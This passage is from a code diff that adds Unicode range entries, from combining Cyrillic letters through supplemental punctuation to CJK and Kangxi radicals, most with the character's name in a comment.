+ ["\u2DEB", "\u2DEB"], /* COMBINING CYRILLIC LETTER PE */
+ ["\u2DEC", "\u2DEC"], /* COMBINING CYRILLIC LETTER ER */
+ ["\u2DED", "\u2DED"], /* COMBINING CYRILLIC LETTER ES */
+ ["\u2DEE", "\u2DEE"], /* COMBINING CYRILLIC LETTER TE */
+ ["\u2DEF", "\u2DEF"], /* COMBINING CYRILLIC LETTER HA */
+ ["\u2DF0", "\u2DF0"], /* COMBINING CYRILLIC LETTER TSE */
+ ["\u2DF1", "\u2DF1"], /* COMBINING CYRILLIC LETTER CHE */
+ ["\u2DF2", "\u2DF2"], /* COMBINING CYRILLIC LETTER SHA */
+ ["\u2DF3", "\u2DF3"], /* COMBINING CYRILLIC LETTER SHCHA */
+ ["\u2DF4", "\u2DF4"], /* COMBINING CYRILLIC LETTER FITA */
+ ["\u2DF5", "\u2DF5"], /* COMBINING CYRILLIC LETTER ES-TE */
+ ["\u2DF6", "\u2DF6"], /* COMBINING CYRILLIC LETTER A */
+ ["\u2DF7", "\u2DF7"], /* COMBINING CYRILLIC LETTER IE */
+ ["\u2DF8", "\u2DF8"], /* COMBINING CYRILLIC LETTER DJERV */
+ ["\u2DF9", "\u2DF9"], /* COMBINING CYRILLIC LETTER MONOGRAPH UK */
+ ["\u2DFA", "\u2DFA"], /* COMBINING CYRILLIC LETTER YAT */
+ ["\u2DFB", "\u2DFB"], /* COMBINING CYRILLIC LETTER YU */
+ ["\u2DFC", "\u2DFC"], /* COMBINING CYRILLIC LETTER IOTIFIED A */
+ ["\u2DFD", "\u2DFD"], /* COMBINING CYRILLIC LETTER LITTLE YUS */
+ ["\u2DFE", "\u2DFE"], /* COMBINING CYRILLIC LETTER BIG YUS */
+ ["\u2DFF", "\u2DFF"], /* COMBINING CYRILLIC LETTER IOTIFIED BIG YUS */
+ ["\u2E00", "\u2E00"], /* RIGHT ANGLE SUBSTITUTION MARKER */
+ ["\u2E01", "\u2E01"], /* RIGHT ANGLE DOTTED SUBSTITUTION MARKER */
+ ["\u2E02", "\u2E02"], /* LEFT SUBSTITUTION BRACKET */
+ ["\u2E03", "\u2E03"], /* RIGHT SUBSTITUTION BRACKET */
+ ["\u2E04", "\u2E04"], /* LEFT DOTTED SUBSTITUTION BRACKET */
+ ["\u2E05", "\u2E05"], /* RIGHT DOTTED SUBSTITUTION BRACKET */
+ ["\u2E06", "\u2E06"], /* RAISED INTERPOLATION MARKER */
+ ["\u2E07", "\u2E07"], /* RAISED DOTTED INTERPOLATION MARKER */
+ ["\u2E08", "\u2E08"], /* DOTTED TRANSPOSITION MARKER */
+ ["\u2E09", "\u2E09"], /* LEFT TRANSPOSITION BRACKET */
+ ["\u2E0A", "\u2E0A"], /* RIGHT TRANSPOSITION BRACKET */
+ ["\u2E0B", "\u2E0B"], /* RAISED SQUARE */
+ ["\u2E0C", "\u2E0C"], /* LEFT RAISED OMISSION BRACKET */
+ ["\u2E0D", "\u2E0D"], /* RIGHT RAISED OMISSION BRACKET */
+ ["\u2E0E", "\u2E0E"], /* EDITORIAL CORONIS */
+ ["\u2E0F", "\u2E0F"], /* PARAGRAPHOS */
+ ["\u2E10", "\u2E10"], /* FORKED PARAGRAPHOS */
+ ["\u2E11", "\u2E11"], /* REVERSED FORKED PARAGRAPHOS */
+ ["\u2E12", "\u2E12"], /* HYPODIASTOLE */
+ ["\u2E13", "\u2E13"], /* DOTTED OBELOS */
+ ["\u2E14", "\u2E14"], /* DOWNWARDS ANCORA */
+ ["\u2E15", "\u2E15"], /* UPWARDS ANCORA */
+ ["\u2E16", "\u2E16"], /* DOTTED RIGHT-POINTING ANGLE */
+ ["\u2E17", "\u2E17"], /* DOUBLE OBLIQUE HYPHEN */
+ ["\u2E18", "\u2E18"], /* INVERTED INTERROBANG */
+ ["\u2E19", "\u2E19"], /* PALM BRANCH */
+ ["\u2E1A", "\u2E1A"], /* HYPHEN WITH DIAERESIS */
+ ["\u2E1B", "\u2E1B"], /* TILDE WITH RING ABOVE */
+ ["\u2E1C", "\u2E1C"], /* LEFT LOW PARAPHRASE BRACKET */
+ ["\u2E1D", "\u2E1D"], /* RIGHT LOW PARAPHRASE BRACKET */
+ ["\u2E1E", "\u2E1E"], /* TILDE WITH DOT ABOVE */
+ ["\u2E1F", "\u2E1F"], /* TILDE WITH DOT BELOW */
+ ["\u2E20", "\u2E20"], /* LEFT VERTICAL BAR WITH QUILL */
+ ["\u2E21", "\u2E21"], /* RIGHT VERTICAL BAR WITH QUILL */
+ ["\u2E22", "\u2E22"], /* TOP LEFT HALF BRACKET */
+ ["\u2E23", "\u2E23"], /* TOP RIGHT HALF BRACKET */
+ ["\u2E24", "\u2E24"], /* BOTTOM LEFT HALF BRACKET */
+ ["\u2E25", "\u2E25"], /* BOTTOM RIGHT HALF BRACKET */
+ ["\u2E26", "\u2E26"], /* LEFT SIDEWAYS U BRACKET */
+ ["\u2E27", "\u2E27"], /* RIGHT SIDEWAYS U BRACKET */
+ ["\u2E28", "\u2E28"], /* LEFT DOUBLE PARENTHESIS */
+ ["\u2E29", "\u2E29"], /* RIGHT DOUBLE PARENTHESIS */
+ ["\u2E2A", "\u2E2A"], /* TWO DOTS OVER ONE DOT PUNCTUATION */
+ ["\u2E2B", "\u2E2B"], /* ONE DOT OVER TWO DOTS PUNCTUATION */
+ ["\u2E2C", "\u2E2C"], /* SQUARED FOUR DOT PUNCTUATION */
+ ["\u2E2D", "\u2E2D"], /* FIVE DOT MARK */
+ ["\u2E2E", "\u2E2E"], /* REVERSED QUESTION MARK */
+ ["\u2E2F", "\u2E2F"], /* VERTICAL TILDE */
+ ["\u2E30", "\u2E30"], /* RING POINT */
+ ["\u2E31", "\u2E31"], /* WORD SEPARATOR MIDDLE DOT */
+ ["\u2E32", "\u2E32"], /* TURNED COMMA */
+ ["\u2E33", "\u2E33"], /* RAISED DOT */
+ ["\u2E34", "\u2E34"], /* RAISED COMMA */
+ ["\u2E35", "\u2E35"], /* TURNED SEMICOLON */
+ ["\u2E36", "\u2E36"], /* DAGGER WITH LEFT GUARD */
+ ["\u2E37", "\u2E37"], /* DAGGER WITH RIGHT GUARD */
+ ["\u2E38", "\u2E38"], /* TURNED DAGGER */
+ ["\u2E39", "\u2E39"], /* TOP HALF SECTION SIGN */
+ ["\u2E3A", "\u2E3A"], /* TWO-EM DASH */
+ ["\u2E3B", "\u2E3B"], /* THREE-EM DASH */
+ ["\u2E3C", "\u2E3C"], /* STENOGRAPHIC FULL STOP */
+ ["\u2E3D", "\u2E3D"], /* VERTICAL SIX DOTS */
+ ["\u2E3E", "\u2E3E"], /* WIGGLY VERTICAL LINE */
+ ["\u2E3F", "\u2E3F"], /* CAPITULUM */
+ ["\u2E40", "\u2E40"], /* DOUBLE HYPHEN */
+ ["\u2E41", "\u2E41"], /* REVERSED COMMA */
+ ["\u2E42", "\u2E42"], /* DOUBLE LOW-REVERSED-9 QUOTATION MARK */
+ ["\u2E43", "\u2E43"], /* DASH WITH LEFT UPTURN */
+ ["\u2E44", "\u2E44"], /* DOUBLE SUSPENSION MARK */
+ ["\u2E45", "\u2E45"], /* INVERTED LOW KAVYKA */
+ ["\u2E46", "\u2E46"], /* INVERTED LOW KAVYKA WITH KAVYKA ABOVE */
+ ["\u2E47", "\u2E47"], /* LOW KAVYKA */
+ ["\u2E48", "\u2E48"], /* LOW KAVYKA WITH DOT */
+ ["\u2E49", "\u2E49"], /* DOUBLE STACKED COMMA */
+ ["\u2E4A", "\u2E4A"], /* DOTTED SOLIDUS */
+ ["\u2E4B", "\u2E4B"], /* TRIPLE DAGGER */
+ ["\u2E4C", "\u2E4C"], /* MEDIEVAL COMMA */
+ ["\u2E4D", "\u2E4D"], /* PARAGRAPHUS MARK */
+ ["\u2E4E", "\u2E4E"], /* PUNCTUS ELEVATUS MARK */
+ ["\u2E4F", "\u2E4F"], /* CORNISH VERSE DIVIDER */
+ ["\u2E50", "\u2E50"], /* CROSS PATTY WITH RIGHT CROSSBAR */
+ ["\u2E51", "\u2E51"], /* CROSS PATTY WITH LEFT CROSSBAR */
+ ["\u2E52", "\u2E52"], /* TIRONIAN SIGN CAPITAL ET */
+ ["\u2E53", "\u2E53"],
+ ["\u2E54", "\u2E54"],
+ ["\u2E55", "\u2E55"],
+ ["\u2E56", "\u2E56"],
+ ["\u2E57", "\u2E57"],
+ ["\u2E58", "\u2E58"],
+ ["\u2E59", "\u2E59"],
+ ["\u2E5A", "\u2E5A"],
+ ["\u2E5B", "\u2E5B"],
+ ["\u2E5C", "\u2E5C"],
+ ["\u2E5D", "\u2E5D"],
+ ["\u2E5E", "\u2E5E"],
+ ["\u2E5F", "\u2E5F"],
+ ["\u2E60", "\u2E60"],
+ ["\u2E61", "\u2E61"],
+ ["\u2E62", "\u2E62"],
+ ["\u2E63", "\u2E63"],
+ ["\u2E64", "\u2E64"],
+ ["\u2E65", "\u2E65"],
+ ["\u2E66", "\u2E66"],
+ ["\u2E67", "\u2E67"],
+ ["\u2E68", "\u2E68"],
+ ["\u2E69", "\u2E69"],
+ ["\u2E6A", "\u2E6A"],
+ ["\u2E6B", "\u2E6B"],
+ ["\u2E6C", "\u2E6C"],
+ ["\u2E6D", "\u2E6D"],
+ ["\u2E6E", "\u2E6E"],
+ ["\u2E6F", "\u2E6F"],
+ ["\u2E70", "\u2E70"],
+ ["\u2E71", "\u2E71"],
+ ["\u2E72", "\u2E72"],
+ ["\u2E73", "\u2E73"],
+ ["\u2E74", "\u2E74"],
+ ["\u2E75", "\u2E75"],
+ ["\u2E76", "\u2E76"],
+ ["\u2E77", "\u2E77"],
+ ["\u2E78", "\u2E78"],
+ ["\u2E79", "\u2E79"],
+ ["\u2E7A", "\u2E7A"],
+ ["\u2E7B", "\u2E7B"],
+ ["\u2E7C", "\u2E7C"],
+ ["\u2E7D", "\u2E7D"],
+ ["\u2E7E", "\u2E7E"],
+ ["\u2E7F", "\u2E7F"],
+ ["\u2E80", "\u2E80"], /* CJK RADICAL REPEAT */
+ ["\u2E81", "\u2E81"], /* CJK RADICAL CLIFF */
+ ["\u2E82", "\u2E82"], /* CJK RADICAL SECOND ONE */
+ ["\u2E83", "\u2E83"], /* CJK RADICAL SECOND TWO */
+ ["\u2E84", "\u2E84"], /* CJK RADICAL SECOND THREE */
+ ["\u2E85", "\u2E85"], /* CJK RADICAL PERSON */
+ ["\u2E86", "\u2E86"], /* CJK RADICAL BOX */
+ ["\u2E87", "\u2E87"], /* CJK RADICAL TABLE */
+ ["\u2E88", "\u2E88"], /* CJK RADICAL KNIFE ONE */
+ ["\u2E89", "\u2E89"], /* CJK RADICAL KNIFE TWO */
+ ["\u2E8A", "\u2E8A"], /* CJK RADICAL DIVINATION */
+ ["\u2E8B", "\u2E8B"], /* CJK RADICAL SEAL */
+ ["\u2E8C", "\u2E8C"], /* CJK RADICAL SMALL ONE */
+ ["\u2E8D", "\u2E8D"], /* CJK RADICAL SMALL TWO */
+ ["\u2E8E", "\u2E8E"], /* CJK RADICAL LAME ONE */
+ ["\u2E8F", "\u2E8F"], /* CJK RADICAL LAME TWO */
+ ["\u2E90", "\u2E90"], /* CJK RADICAL LAME THREE */
+ ["\u2E91", "\u2E91"], /* CJK RADICAL LAME FOUR */
+ ["\u2E92", "\u2E92"], /* CJK RADICAL SNAKE */
+ ["\u2E93", "\u2E93"], /* CJK RADICAL THREAD */
+ ["\u2E94", "\u2E94"], /* CJK RADICAL SNOUT ONE */
+ ["\u2E95", "\u2E95"], /* CJK RADICAL SNOUT TWO */
+ ["\u2E96", "\u2E96"], /* CJK RADICAL HEART ONE */
+ ["\u2E97", "\u2E97"], /* CJK RADICAL HEART TWO */
+ ["\u2E98", "\u2E98"], /* CJK RADICAL HAND */
+ ["\u2E99", "\u2E99"], /* CJK RADICAL RAP */
+ ["\u2E9A", "\u2E9A"],
+ ["\u2E9B", "\u2E9B"], /* CJK RADICAL CHOKE */
+ ["\u2E9C", "\u2E9C"], /* CJK RADICAL SUN */
+ ["\u2E9D", "\u2E9D"], /* CJK RADICAL MOON */
+ ["\u2E9E", "\u2E9E"], /* CJK RADICAL DEATH */
+ ["\u2E9F", "\u2E9F"], /* CJK RADICAL MOTHER */
+ ["\u2EA0", "\u2EA0"], /* CJK RADICAL CIVILIAN */
+ ["\u2EA1", "\u2EA1"], /* CJK RADICAL WATER ONE */
+ ["\u2EA2", "\u2EA2"], /* CJK RADICAL WATER TWO */
+ ["\u2EA3", "\u2EA3"], /* CJK RADICAL FIRE */
+ ["\u2EA4", "\u2EA4"], /* CJK RADICAL PAW ONE */
+ ["\u2EA5", "\u2EA5"], /* CJK RADICAL PAW TWO */
+ ["\u2EA6", "\u2EA6"], /* CJK RADICAL SIMPLIFIED HALF TREE TRUNK */
+ ["\u2EA7", "\u2EA7"], /* CJK RADICAL COW */
+ ["\u2EA8", "\u2EA8"], /* CJK RADICAL DOG */
+ ["\u2EA9", "\u2EA9"], /* CJK RADICAL JADE */
+ ["\u2EAA", "\u2EAA"], /* CJK RADICAL BOLT OF CLOTH */
+ ["\u2EAB", "\u2EAB"], /* CJK RADICAL EYE */
+ ["\u2EAC", "\u2EAC"], /* CJK RADICAL SPIRIT ONE */
+ ["\u2EAD", "\u2EAD"], /* CJK RADICAL SPIRIT TWO */
+ ["\u2EAE", "\u2EAE"], /* CJK RADICAL BAMBOO */
+ ["\u2EAF", "\u2EAF"], /* CJK RADICAL SILK */
+ ["\u2EB0", "\u2EB0"], /* CJK RADICAL C-SIMPLIFIED SILK */
+ ["\u2EB1", "\u2EB1"], /* CJK RADICAL NET ONE */
+ ["\u2EB2", "\u2EB2"], /* CJK RADICAL NET TWO */
+ ["\u2EB3", "\u2EB3"], /* CJK RADICAL NET THREE */
+ ["\u2EB4", "\u2EB4"], /* CJK RADICAL NET FOUR */
+ ["\u2EB5", "\u2EB5"], /* CJK RADICAL MESH */
+ ["\u2EB6", "\u2EB6"], /* CJK RADICAL SHEEP */
+ ["\u2EB7", "\u2EB7"], /* CJK RADICAL RAM */
+ ["\u2EB8", "\u2EB8"], /* CJK RADICAL EWE */
+ ["\u2EB9", "\u2EB9"], /* CJK RADICAL OLD */
+ ["\u2EBA", "\u2EBA"], /* CJK RADICAL BRUSH ONE */
+ ["\u2EBB", "\u2EBB"], /* CJK RADICAL BRUSH TWO */
+ ["\u2EBC", "\u2EBC"], /* CJK RADICAL MEAT */
+ ["\u2EBD", "\u2EBD"], /* CJK RADICAL MORTAR */
+ ["\u2EBE", "\u2EBE"], /* CJK RADICAL GRASS ONE */
+ ["\u2EBF", "\u2EBF"], /* CJK RADICAL GRASS TWO */
+ ["\u2EC0", "\u2EC0"], /* CJK RADICAL GRASS THREE */
+ ["\u2EC1", "\u2EC1"], /* CJK RADICAL TIGER */
+ ["\u2EC2", "\u2EC2"], /* CJK RADICAL CLOTHES */
+ ["\u2EC3", "\u2EC3"], /* CJK RADICAL WEST ONE */
+ ["\u2EC4", "\u2EC4"], /* CJK RADICAL WEST TWO */
+ ["\u2EC5", "\u2EC5"], /* CJK RADICAL C-SIMPLIFIED SEE */
+ ["\u2EC6", "\u2EC6"], /* CJK RADICAL SIMPLIFIED HORN */
+ ["\u2EC7", "\u2EC7"], /* CJK RADICAL HORN */
+ ["\u2EC8", "\u2EC8"], /* CJK RADICAL C-SIMPLIFIED SPEECH */
+ ["\u2EC9", "\u2EC9"], /* CJK RADICAL C-SIMPLIFIED SHELL */
+ ["\u2ECA", "\u2ECA"], /* CJK RADICAL FOOT */
+ ["\u2ECB", "\u2ECB"], /* CJK RADICAL C-SIMPLIFIED CART */
+ ["\u2ECC", "\u2ECC"], /* CJK RADICAL SIMPLIFIED WALK */
+ ["\u2ECD", "\u2ECD"], /* CJK RADICAL WALK ONE */
+ ["\u2ECE", "\u2ECE"], /* CJK RADICAL WALK TWO */
+ ["\u2ECF", "\u2ECF"], /* CJK RADICAL CITY */
+ ["\u2ED0", "\u2ED0"], /* CJK RADICAL C-SIMPLIFIED GOLD */
+ ["\u2ED1", "\u2ED1"], /* CJK RADICAL LONG ONE */
+ ["\u2ED2", "\u2ED2"], /* CJK RADICAL LONG TWO */
+ ["\u2ED3", "\u2ED3"], /* CJK RADICAL C-SIMPLIFIED LONG */
+ ["\u2ED4", "\u2ED4"], /* CJK RADICAL C-SIMPLIFIED GATE */
+ ["\u2ED5", "\u2ED5"], /* CJK RADICAL MOUND ONE */
+ ["\u2ED6", "\u2ED6"], /* CJK RADICAL MOUND TWO */
+ ["\u2ED7", "\u2ED7"], /* CJK RADICAL RAIN */
+ ["\u2ED8", "\u2ED8"], /* CJK RADICAL BLUE */
+ ["\u2ED9", "\u2ED9"], /* CJK RADICAL C-SIMPLIFIED TANNED LEATHER */
+ ["\u2EDA", "\u2EDA"], /* CJK RADICAL C-SIMPLIFIED LEAF */
+ ["\u2EDB", "\u2EDB"], /* CJK RADICAL C-SIMPLIFIED WIND */
+ ["\u2EDC", "\u2EDC"], /* CJK RADICAL C-SIMPLIFIED FLY */
+ ["\u2EDD", "\u2EDD"], /* CJK RADICAL EAT ONE */
+ ["\u2EDE", "\u2EDE"], /* CJK RADICAL EAT TWO */
+ ["\u2EDF", "\u2EDF"], /* CJK RADICAL EAT THREE */
+ ["\u2EE0", "\u2EE0"], /* CJK RADICAL C-SIMPLIFIED EAT */
+ ["\u2EE1", "\u2EE1"], /* CJK RADICAL HEAD */
+ ["\u2EE2", "\u2EE2"], /* CJK RADICAL C-SIMPLIFIED HORSE */
+ ["\u2EE3", "\u2EE3"], /* CJK RADICAL BONE */
+ ["\u2EE4", "\u2EE4"], /* CJK RADICAL GHOST */
+ ["\u2EE5", "\u2EE5"], /* CJK RADICAL C-SIMPLIFIED FISH */
+ ["\u2EE6", "\u2EE6"], /* CJK RADICAL C-SIMPLIFIED BIRD */
+ ["\u2EE7", "\u2EE7"], /* CJK RADICAL C-SIMPLIFIED SALT */
+ ["\u2EE8", "\u2EE8"], /* CJK RADICAL SIMPLIFIED WHEAT */
+ ["\u2EE9", "\u2EE9"], /* CJK RADICAL SIMPLIFIED YELLOW */
+ ["\u2EEA", "\u2EEA"], /* CJK RADICAL C-SIMPLIFIED FROG */
+ ["\u2EEB", "\u2EEB"], /* CJK RADICAL J-SIMPLIFIED EVEN */
+ ["\u2EEC", "\u2EEC"], /* CJK RADICAL C-SIMPLIFIED EVEN */
+ ["\u2EED", "\u2EED"], /* CJK RADICAL J-SIMPLIFIED TOOTH */
+ ["\u2EEE", "\u2EEE"], /* CJK RADICAL C-SIMPLIFIED TOOTH */
+ ["\u2EEF", "\u2EEF"], /* CJK RADICAL J-SIMPLIFIED DRAGON */
+ ["\u2EF0", "\u2EF0"], /* CJK RADICAL C-SIMPLIFIED DRAGON */
+ ["\u2EF1", "\u2EF1"], /* CJK RADICAL TURTLE */
+ ["\u2EF2", "\u2EF2"], /* CJK RADICAL J-SIMPLIFIED TURTLE */
+ ["\u2EF3", "\u2EF3"], /* CJK RADICAL C-SIMPLIFIED TURTLE */
+ ["\u2EF4", "\u2EF4"],
+ ["\u2EF5", "\u2EF5"],
+ ["\u2EF6", "\u2EF6"],
+ ["\u2EF7", "\u2EF7"],
+ ["\u2EF8", "\u2EF8"],
+ ["\u2EF9", "\u2EF9"],
+ ["\u2EFA", "\u2EFA"],
+ ["\u2EFB", "\u2EFB"],
+ ["\u2EFC", "\u2EFC"],
+ ["\u2EFD", "\u2EFD"],
+ ["\u2EFE", "\u2EFE"],
+ ["\u2EFF", "\u2EFF"],
+ ["\u2F00", "\u2F00"], /* KANGXI RADICAL ONE */
+ ["\u2F01", "\u2F01"], /* KANGXI RADICAL LINE */
+ ["\u2F02", "\u2F02"], /* KANGXI RADICAL DOT */
+ ["\u2F03", "\u2F03"], /* KANGXI RADICAL SLASH */
+ ["\u2F04", "\u2F04"], /* KANGXI RADICAL SECOND */
+ ["\u2F05", "\u2F05"], /* KANGXI RADICAL HOOK */
+ ["\u2F06", "\u2F06"], /* KANGXI RADICAL TWO */
+ ["\u2F07", "\u2F07"], /* KANGXI RADICAL LID */
+ ["\u2F08", "\u2F08"], /* KANGXI RADICAL MAN */
+ ["\u2F09", "\u2F09"], /* KANGXI RADICAL LEGS */
+ ["\u2F0A", "\u2F0A"], /* KANGXI RADICAL ENTER */
+ ["\u2F0B", "\u2F0B"], /* KANGXI RADICAL EIGHT */
+ ["\u2F0C", "\u2F0C"], /* KANGXI RADICAL DOWN BOX */
+ ["\u2F0D", "\u2F0D"], /* KANGXI RADICAL COVER */
+ ["\u2F0E", "\u2F0E"], /* KANGXI RADICAL ICE */
+ ["\u2F0F", "\u2F0F"], /* KANGXI RADICAL TABLE */
+ ["\u2F10", "\u2F10"], /* KANGXI RADICAL OPEN BOX */
+ ["\u2F11", "\u2F11"], /* KANGXI RADICAL KNIFE */
+ ["\u2F12", "\u2F12"], /* KANGXI RADICAL POWER */
+ ["\u2F13", "\u2F13"], /* KANGXI RADICAL WRAP */
+ ["\u2F14", "\u2F14"], /* KANGXI RADICAL SPOON */
+ ["\u2F15", "\u2F15"], /* KANGXI RADICAL RIGHT OPEN BOX */
+ ["\u2F16", "\u2F16"], /* KANGXI RADICAL HIDING ENCLOSURE */
+ ["\u2F17", "\u2F17"], /* KANGXI RADICAL TEN */
+ ["\u2F18", "\u2F18"], /* KANGXI RADICAL DIVINATION */
+ ["\u2F19", "\u2F19"], /* KANGXI RADICAL SEAL */
+ ["\u2F1A", "\u2F1A"], /* KANGXI RADICAL CLIFF */
+ ["\u2F1B", "\u2F1B"], /* KANGXI RADICAL PRIVATE */
+ ["\u2F1C", "\u2F1C"], /* KANGXI RADICAL AGAIN */
+ ["\u2F1D", "\u2F1D"], /* KANGXI RADICAL MOUTH */
+ ["\u2F1E", "\u2F1E"], /* KANGXI RADICAL ENCLOSURE */
+ ["\u2F1F", "\u2F1F"], /* KANGXI RADICAL EARTH */
+ ["\u2F20", "\u2F20"], /* KANGXI RADICAL SCHOLAR */
+ ["\u2F21", "\u2F21"], /* KANGXI RADICAL GO */
+ ["\u2F22", "\u2F22"], /* KANGXI RADICAL GO SLOWLY */
+ ["\u2F23", "\u2F23"], /* KANGXI RADICAL EVENING */
+ ["\u2F24", "\u2F24"], /* KANGXI RADICAL BIG */
+ ["\u2F25", "\u2F25"], /* KANGXI RADICAL WOMAN */
+ ["\u2F26", "\u2F26"], /* KANGXI RADICAL CHILD */
+ ["\u2F27", "\u2F27"], /* KANGXI RADICAL ROOF */
+ ["\u2F28", "\u2F28"], /* KANGXI RADICAL INCH */
+ ["\u2F29", "\u2F29"], /* KANGXI RADICAL SMALL */
+ ["\u2F2A", "\u2F2A"], /* KANGXI RADICAL LAME */
+ ["\u2F2B", "\u2F2B"], /* KANGXI RADICAL CORPSE */
+ ["\u2F2C", "\u2F2C"], /* KANGXI RADICAL SPROUT */
+ ["\u2F2D", "\u2F2D"], /* KANGXI RADICAL MOUNTAIN */
+ ["\u2F2E", "\u2F2E"], /* KANGXI RADICAL RIVER */
+ ["\u2F2F", "\u2F2F"], /* KANGXI RADICAL WORK */
+ ["\u2F30", "\u2F30"], /* KANGXI RADICAL ONESELF */
+ ["\u2F31", "\u2F31"], /* KANGXI RADICAL TURBAN */
+ ["\u2F32", "\u2F32"], /* KANGXI RADICAL DRY */
+ ["\u2F33", "\u2F33"], /* KANGXI RADICAL SHORT THREAD */
+ ["\u2F34", "\u2F34"], /* KANGXI RADICAL DOTTED CLIFF */
+ ["\u2F35", "\u2F35"], /* KANGXI RADICAL LONG STRIDE */
+ ["\u2F36", "\u2F36"], /* KANGXI RADICAL TWO HANDS */
+ ["\u2F37", "\u2F37"], /* KANGXI RADICAL SHOOT */
+ ["\u2F38", "\u2F38"], /* KANGXI RADICAL BOW */
+ ["\u2F39", "\u2F39"], /* KANGXI RADICAL SNOUT */
+ ["\u2F3A", "\u2F3A"], /* KANGXI RADICAL BRISTLE */
+ ["\u2F3B", "\u2F3B"], /* KANGXI RADICAL STEP */
+ ["\u2F3C", "\u2F3C"], /* KANGXI RADICAL HEART */
+ ["\u2F3D", "\u2F3D"], /* KANGXI RADICAL HALBERD */
+ ["\u2F3E", "\u2F3E"], /* KANGXI RADICAL DOOR */
+ ["\u2F3F", "\u2F3F"], /* KANGXI RADICAL HAND */
+ ["\u2F40", "\u2F40"], /* KANGXI RADICAL BRANCH */
+ ["\u2F41", "\u2F41"], /* KANGXI RADICAL RAP */
+ ["\u2F42", "\u2F42"], /* KANGXI RADICAL SCRIPT */
+ ["\u2F43", "\u2F43"], /* KANGXI RADICAL DIPPER */
+ ["\u2F44", "\u2F44"], /* KANGXI RADICAL AXE */
+ ["\u2F45", "\u2F45"], /* KANGXI RADICAL SQUARE */
+ ["\u2F46", "\u2F46"], /* KANGXI RADICAL NOT */
+ ["\u2F47", "\u2F47"], /* KANGXI RADICAL SUN */
+ ["\u2F48", "\u2F48"], /* KANGXI RADICAL SAY */
+ ["\u2F49", "\u2F49"], /* KANGXI RADICAL MOON */
+ ["\u2F4A", "\u2F4A"], /* KANGXI RADICAL TREE */
+ ["\u2F4B", "\u2F4B"], /* KANGXI RADICAL LACK */
+ ["\u2F4C", "\u2F4C"], /* KANGXI RADICAL STOP */
+ ["\u2F4D", "\u2F4D"], /* KANGXI RADICAL DEATH */
+ ["\u2F4E", "\u2F4E"], /* KANGXI RADICAL WEAPON */
+ ["\u2F4F", "\u2F4F"], /* KANGXI RADICAL DO NOT */
+ ["\u2F50", "\u2F50"], /* KANGXI RADICAL COMPARE */
+ ["\u2F51", "\u2F51"], /* KANGXI RADICAL FUR */
+ ["\u2F52", "\u2F52"], /* KANGXI RADICAL CLAN */
+ ["\u2F53", "\u2F53"], /* KANGXI RADICAL STEAM */
+ ["\u2F54", "\u2F54"], /* KANGXI RADICAL WATER */
+ ["\u2F55", "\u2F55"], /* KANGXI RADICAL FIRE */
+ ["\u2F56", "\u2F56"], /* KANGXI RADICAL CLAW */
+ ["\u2F57", "\u2F57"], /* KANGXI RADICAL FATHER */
+ ["\u2F58", "\u2F58"], /* KANGXI RADICAL DOUBLE X */
+ ["\u2F59", "\u2F59"], /* KANGXI RADICAL HALF TREE TRUNK */
+ ["\u2F5A", "\u2F5A"], /* KANGXI RADICAL SLICE */
+ ["\u2F5B", "\u2F5B"], /* KANGXI RADICAL FANG */
+ ["\u2F5C", "\u2F5C"], /* KANGXI RADICAL COW */
+ ["\u2F5D", "\u2F5D"], /* KANGXI RADICAL DOG */
+ ["\u2F5E", "\u2F5E"], /* KANGXI RADICAL PROFOUND */
+ ["\u2F5F", "\u2F5F"], /* KANGXI RADICAL JADE */
+ ["\u2F60", "\u2F60"], /* KANGXI RADICAL MELON */
+ ["\u2F61", "\u2F61"], /* KANGXI RADICAL TILE */
+ ["\u2F62", "\u2F62"], /* KANGXI RADICAL SWEET */
+ ["\u2F63", "\u2F63"], /* KANGXI RADICAL LIFE */
+ ["\u2F64", "\u2F64"], /* KANGXI RADICAL USE */
+ ["\u2F65", "\u2F65"], /* KANGXI RADICAL FIELD */
+ ["\u2F66", "\u2F66"], /* KANGXI RADICAL BOLT OF CLOTH */
+ ["\u2F67", "\u2F67"], /* KANGXI RADICAL SICKNESS */
+ ["\u2F68", "\u2F68"], /* KANGXI RADICAL DOTTED TENT */
+ ["\u2F69", "\u2F69"], /* KANGXI RADICAL WHITE */
+ ["\u2F6A", "\u2F6A"], /* KANGXI RADICAL SKIN */
+ ["\u2F6B", "\u2F6B"], /* KANGXI RADICAL DISH */
+ ["\u2F6C", "\u2F6C"], /* KANGXI RADICAL EYE */
+ ["\u2F6D", "\u2F6D"], /* KANGXI RADICAL SPEAR */
+ ["\u2F6E", "\u2F6E"], /* KANGXI RADICAL ARROW */
+ ["\u2F6F", "\u2F6F"], /* KANGXI RADICAL STONE */
+ ["\u2F70", "\u2F70"], /* KANGXI RADICAL SPIRIT */
+ ["\u2F71", "\u2F71"], /* KANGXI RADICAL TRACK */
+ ["\u2F72", "\u2F72"], /* KANGXI RADICAL GRAIN */
+ ["\u2F73", "\u2F73"], /* KANGXI RADICAL CAVE */
+ ["\u2F74", "\u2F74"], /* KANGXI RADICAL STAND */
+ ["\u2F75", "\u2F75"], /* KANGXI RADICAL BAMBOO */
+ ["\u2F76", "\u2F76"], /* KANGXI RADICAL RICE */
+ ["\u2F77", "\u2F77"], /* KANGXI RADICAL SILK */
+ ["\u2F78", "\u2F78"], /* KANGXI RADICAL JAR */
+ ["\u2F79", "\u2F79"], /* KANGXI RADICAL NET */
+ ["\u2F7A", "\u2F7A"], /* KANGXI RADICAL SHEEP */
+ ["\u2F7B", "\u2F7B"], /* KANGXI RADICAL FEATHER */
+ ["\u2F7C", "\u2F7C"], /* KANGXI RADICAL OLD */
+ ["\u2F7D", "\u2F7D"], /* KANGXI RADICAL AND */
+ ["\u2F7E", "\u2F7E"], /* KANGXI RADICAL PLOW */
+ ["\u2F7F", "\u2F7F"], /* KANGXI RADICAL EAR */
+ ["\u2F80", "\u2F80"], /* KANGXI RADICAL BRUSH */
+ ["\u2F81", "\u2F81"], /* KANGXI RADICAL MEAT */
+ ["\u2F82", "\u2F82"], /* KANGXI RADICAL MINISTER */
+ ["\u2F83", "\u2F83"], /* KANGXI RADICAL SELF */
+ ["\u2F84", "\u2F84"], /* KANGXI RADICAL ARRIVE */
+ ["\u2F85", "\u2F85"], /* KANGXI RADICAL MORTAR */
+ ["\u2F86", "\u2F86"], /* KANGXI RADICAL TONGUE */
+ ["\u2F87", "\u2F87"], /* KANGXI RADICAL OPPOSE */
+ ["\u2F88", "\u2F88"], /* KANGXI RADICAL BOAT */
+ ["\u2F89", "\u2F89"], /* KANGXI RADICAL STOPPING */
+ ["\u2F8A", "\u2F8A"], /* KANGXI RADICAL COLOR */
